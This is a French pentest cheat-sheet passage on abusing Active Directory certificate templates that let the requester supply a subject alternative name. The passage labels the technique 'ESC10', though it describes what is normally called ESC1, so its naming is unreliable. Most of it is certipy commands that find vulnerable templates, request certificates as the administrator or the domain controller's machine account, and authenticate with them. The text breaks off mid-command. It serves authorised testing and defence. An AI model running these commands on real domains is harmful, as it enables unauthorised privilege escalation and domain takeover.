### Description
ESC10 exploite des modèles de certificats qui possèdent le flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME` activé mais qui sont configurés avec des EKU limitant leur usage apparent (comme "Any Purpose" restreint), permettant à un attaquant de spécifier un SAN arbitraire et d'utiliser le certificat pour l'authentification malgré les restrictions EKU apparentes.
### Conditions vulnérables
Un modèle de certificat est vulnérable à ESC10 si :
1. **Flag ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME activé** - Le modèle a `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME` (0x20000) dans `msPKI-Certificate-Name-Flag`
2. **EKU apparemment restrictif** - Le modèle semble avoir des EKU limitants mais exploitables
3. **Enrollment autorisé** - L'utilisateur a les droits `Enroll` ou `AutoEnroll`
4. **Contournement possible des vérifications EKU** - Les vérifications d'usage peuvent être contournées
---
### Exploitation depuis linux (certipy)
Enumération des templates vulnérables :
```bash
certipy find -u
[email protected] -p password -target dc01.domain.local
# Énumération avec sortie JSON pour analyse des flags et EKUs
certipy find -u
[email protected] -p password -target dc01.domain.local -json -output vulnerabilities.json
# Recherche spécifique du flag ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME
certipy find -u
[email protected] -p password -target dc01.domain.local -vulnerable | grep -A5 -B5 "CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME\|0x20000"
```
Exploitation avec SAN arbitraire :
```bash
# Demande d'un certificat avec SAN administrateur
certipy req -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'RestrictedButVulnTemplate' -upn
[email protected]
# Avec DNS SAN pour comptes machine
certipy req -u
[email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'RestrictedButVulnTemplate' -dns dc01.domain.local -upn '
[email protected]'
```
Authentification avec le certificat obtenu :
```bash
# Authentification en tant qu'administrateur
certipy auth -pfx administrator.pfx -username administrator -domain domain.local -dc-ip 192.168.1.10
# Authentification en tant que compte machine
certipy auth -pfx 'dc01$.pfx' -username 'DC01